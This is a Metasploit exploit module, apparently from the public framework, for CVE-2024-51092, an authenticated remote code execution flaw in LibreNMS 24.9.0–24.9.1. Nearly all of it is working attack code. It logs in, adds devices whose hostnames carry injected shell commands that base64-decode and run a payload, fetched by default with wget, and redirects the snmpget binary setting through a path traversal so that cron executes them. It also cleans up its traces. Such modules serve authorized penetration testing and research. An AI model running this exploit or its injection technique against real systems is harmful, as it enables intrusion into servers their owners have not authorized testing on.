LibreNMS Authenticated Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Retry
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'LibreNMS Authenticated RCE (CVE-2024-51092)',
            'Description' => %q{
              An authenticated attacker can create dangerous directory names on the system and
              alter sensitive configuration parameters through the web portal.
              Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
              thus achieving arbitrary code execution.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'murrant (Tony Murray)', # PoC
              'Takahiro Yokoyama'      # Metasploit module
            ],
            'References' => [
              [ 'URL', 'https://github.com/advisories/GHSA-x645-6pf9-xwxw'],
              [ 'CVE', '2024-51092']
            ],
            'Platform' => %w[linux],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1),
              'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1)
            },
            'Payload' => {
              'SPACE' => 128
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2024-11-15',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
            OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]),
            OptString.new('PATH', [ true, 'LibreNMS installed location', '/opt/librenms' ]),
            OptInt.new('WAIT', [ true, 'Wait time (seconds) for cron to poll the device', 315 ]),
          ]
        )
      end
    
      def get_csrf_token(res)
        res&.get_html_document&.at('meta[name="csrf-token"]') ? res.get_html_document.at('meta[name="csrf-token"]')['content'] : nil
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'login')
        })
        return Exploit::CheckCode::Unknown('LibreNMS is not detected.') unless res&.code == 200 && res&.body&.include?('<title>LibreNMS</title>')
    
        token = get_csrf_token(res)
        return Exploit::CheckCode::Unknown('LibreNMS detected. Failed to extract csrf token.') unless token
    
        begin
          login
        rescue StandardError => e
          return Exploit::CheckCode::Unknown(e)
        end
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'about')
        })
        return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') unless res&.code == 200
    
        html_body = res&.get_html_document
        version_node = html_body&.at("a[@href='https://www.librenms.org/changelog.html']")
        return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') if version_node.nil?
    
        version_node&.at('span')&.content = ''
        version = Rex::Version.new(version_node.text)
        return Exploit::CheckCode::Safe("LibreNMS version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.9.0'), Rex::Version.new('24.9.1'))
    
        Exploit::CheckCode::Appears("LibreNMS version #{version} detected, which is vulnerable.")
      end
    
      def login
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'login'),
          'keep_cookies' => true
        })
        fail_with(Failure::Unknown, 'Failed to access the login page.') unless res&.code == 200
    
        login_res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'login'),
          'keep_cookies' => true,
          'vars_post' => {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD'],
            '_token' => get_csrf_token(res)
          }
        })
        fail_with(Failure::NoAccess, 'Failed to log into LibreNMS.') unless login_res&.code == 302
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
        fail_with(Failure::Unknown, 'Failed to log into LibreNMS.') unless res&.code == 200 && res.body.include?('Devices')
    
        @logged_in = true
        print_status('Successfully logged into LibreNMS.')
      end
    
      def exploit
        login unless @logged_in
        add_host
    
        print_status("Waiting up to #{datastore['WAIT']} seconds for cron to poll the device...")
        created = retry_until_truthy(timeout: datastore['WAIT']) do
          @hosts.all? { |h| change_snmpget(h) }
        end
    
        fail_with(Failure::Unknown, 'Failed to create malicious file. You may need more wait time, or the cron job might be disabled.') unless created
        register_file_for_cleanup(datastore['FETCH_FILENAME'])
        @hosts.each do |host|
          change_snmpget(host)
          send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'about')
          })
        end
      end
    
      def add_host
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'addhost')
        })
        fail_with(Failure::Unknown, 'Failed to access addhost page.') unless res&.code == 200
    
        # The maximum host length is 128 characters.
        # because 128 - 20 = 108 where 20 is length of remaining characters in original payload
        if Rex::Text.encode_base64(payload.encoded).length <= 108
          @hosts = [";echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|sh;"]
          print_status("Adding host: '#{@hosts[0]}', length: #{@hosts[0].length}")
        else
          @hosts = []
          staging_file = Rex::Text.rand_text_alpha(1, datastore['FETCH_FILENAME'])
          register_file_for_cleanup(staging_file)
          cmd = Rex::Text.encode_base64(payload.encoded)
          # ;echo -n chunked_cmd>>staging_file;
          # ;echo -n (space) = 9, >> = 2, ; = 1
          max_chunk_size = 128 - (9 + 2 + staging_file.length + 1)
          chunk_size = rand([1, max_chunk_size - 10].max..[1, max_chunk_size - 5].max)
          print_status("Command chunk size = #{chunk_size}")
          cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
          redirector = '>'
          cmd_chunks.each_with_index do |chunk, index|
            print_status("Staging chunk #{index + 1} of #{cmd_chunks.count}")
            @hosts << ";echo -n #{chunk}#{redirector}#{staging_file};"
            redirector = '>>'
          end
          @hosts << ";cat #{staging_file} | base64 -d |sh;"
        end
    
        @device_ids = []
        @hosts.each do |host|
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'addhost'),
            'vars_post' => {
              '_token' => get_csrf_token(res),
              'hostname' => host,
              'snmp' => 'on',
              'sysName' => '',
              'hardware' => '',
              'os' => '',
              'os_id' => '',
              'snmpver' => 'v2c',
              'port' => '',
              'transport' => 'udp',
              'port_assoc_mode' => 'ifIndex',
              'community' => '',
              'authlevel' => 'noAuthNoPriv',
              'authname' => '',
              'authpass' => '',
              'authalgo' => 'SHA',
              'cryptopass' => '',
              'cryptoalgo' => 'AES',
              'force_add' => 'on',
              'Submit' => ''
            }
          })
          fail_with(Failure::Unknown, 'Failed to add device.') unless res&.code == 200 && res&.body&.include?('Device added')
          print_status('Added host.')
          link = res&.get_html_document&.at("div.alert.alert-success:contains('Device added') a")
          device_link = link['href'] if link
          device_id = device_link.match(%r{/device/(\d+)})[1] if device_link&.match(%r{/device/(\d+)})
          @device_ids << device_id if device_id
        end
      end
    
      def change_snmpget(host)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
        })
        return unless res&.code == 200
    
        res = send_request_cgi({
          'method' => 'PUT',
          'headers' => {
            'X-CSRF-TOKEN' => get_csrf_token(res)
          },
          'uri' => normalize_uri(target_uri.path, 'settings/snmpget'),
          'ctype' => 'application/json',
          'data' => {
            'value' => "file://#{datastore['PATH']}/rrd/#{host}/../../../../../bin/ls"
          }.to_json
        })
        res&.code == 200
      end
    
      def cleanup
        super
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
        })
    
        if res&.code == 200
          res = send_request_cgi({
            'method' => 'DELETE',
            'headers' => {
              'X-CSRF-TOKEN' => get_csrf_token(res)
            },
            'uri' => normalize_uri(target_uri.path, 'settings/snmpget')
          })
        end
        print_status('Failed to reset snmpget to default.') unless res&.code == 200
        print_status('Reset snmpget to default.') if res&.code == 200
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'delhost')
        })
        token = get_csrf_token(res)
    
        if res&.code == 200 && @device_ids
          @device_ids.each do |device_id|
            res = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(target_uri.path, 'delhost'),
              'vars_post' => {
                '_token' => token,
                'id' => device_id,
                'confirm' => '1'
              }
            })
            print_status("Failed to delete device: #{device_id}") unless res&.code == 200
            print_status("Deleted device: #{device_id}") if res&.code == 200
          end
        elsif @device_ids
          print_status("Failed to extract CSRF token. Failed to delete device: #{@device_ids.join(', ')}")
        end
      end
    
    end